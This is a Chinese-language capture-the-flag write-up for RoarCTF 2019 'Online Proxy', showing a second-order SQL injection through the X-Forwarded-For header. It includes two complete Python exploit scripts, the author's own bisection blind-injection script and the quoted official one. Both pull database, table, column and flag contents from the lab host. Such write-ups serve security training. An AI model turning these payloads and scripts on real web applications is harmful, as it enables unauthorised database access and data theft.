[RoarCTF 2019]Online Proxy 盲注

[RoarCTF 2019]Online Proxy
bp抓包放包，可以用X-Forwarded-For修改IP。last Ip是存在数据库里的，我们先写一个sql注入语句作为IP，然后再修改两次其他的IP。这两次的IP要一样，那么第二次系统就要从数据库中查询last Ip，触发sql注入。

盲注：

import requests

url = "http://node4.buuoj.cn:26940//"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=e14e99c2-c580-43e3-94ba-68f2bcf0489c",
	"X-Forwarded-For" : ""
}
result = ""
for i in range(1,100):
	l = 32
	r = 127
	mid = (l+r)>>1
	while(l<r):
		#head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i,mid)
		#head["X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{0},1))>{1} or '0".format(i, mid)
		#head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(column_name) from information_schema.columns where(table_name='F4l9_t4b1e')),{0},1))>{1} or '0".format(i, mid)
		head["X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{0},1))>{1} or '0".format(i, mid)
		html_0 = requests.post(url,headers = head)
		head["X-Forwarded-For"] = "1111"
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if (mid == 32 or mid == 127):
		break
	result+=chr(mid)
	print(result)

最后贴一下官方writeup，用数字直接把数据库的内容输出来，非常快。太强了

import requests

target = "http://node4.buuoj.cn:26940/"

def execute_sql(sql):
    print("[*]请求语句：" + sql)
    return_result = ""

    payload = "0'|length((" + sql + "))|'0"
    session = requests.session()
    r = session.get(target, headers={'X-Forwarded-For': payload})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
    start_pos = r.text.find("Last Ip: ")
    end_pos = r.text.find(" -->", start_pos)
    length = int(r.text[start_pos + 9: end_pos])
    print("[+]长度：" + str(length))

    for i in range(1, length + 1, 5):
        payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

        r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 查询上次IP时触发二次注入
        r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})    # 再次查询得到结果
        start_pos = r.text.find("Last Ip: ")
        end_pos = r.text.find(" -->", start_pos)
        result = int(r.text[start_pos + 9: end_pos])
        return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

        print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

    return return_result


# 获取数据库
print("[+]获取成功：" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功：" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功：" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功：" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))